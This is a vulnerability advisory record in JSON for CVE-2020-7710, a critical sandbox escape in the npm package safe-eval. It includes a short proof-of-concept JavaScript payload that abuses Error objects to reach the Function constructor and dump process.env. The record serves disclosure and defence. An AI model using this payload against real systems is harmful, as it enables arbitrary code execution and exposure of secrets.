{"id":"CVE-2020-7710","aliases":[],"url":"https://o3.security/vulnerability/CVE-2020-7710","summary":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","details":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system. \n\nEvaluating the payload \n```js\n(function (){\n  var ex = new Error\n  ex.__proto__ = null\n  ex.stack = {\n    match: x => {\n      return x.constructor.constructor(\"throw process.env\")()\n    }\n  }\n  return ex\n})()\n``` \n\nprints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","published":"2020-08-25T23:40:53Z","modified":"2026-03-13T21:56:24.860564Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"safe-eval","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7710"},{"type":"WEB","url":"https://github.com/hacksparrow/safe-eval/issues/19"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076"},{"type":"WEB","url":"https://www.npmjs.com/advisories/1322"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-03-13T21:56:24.860564Z"}}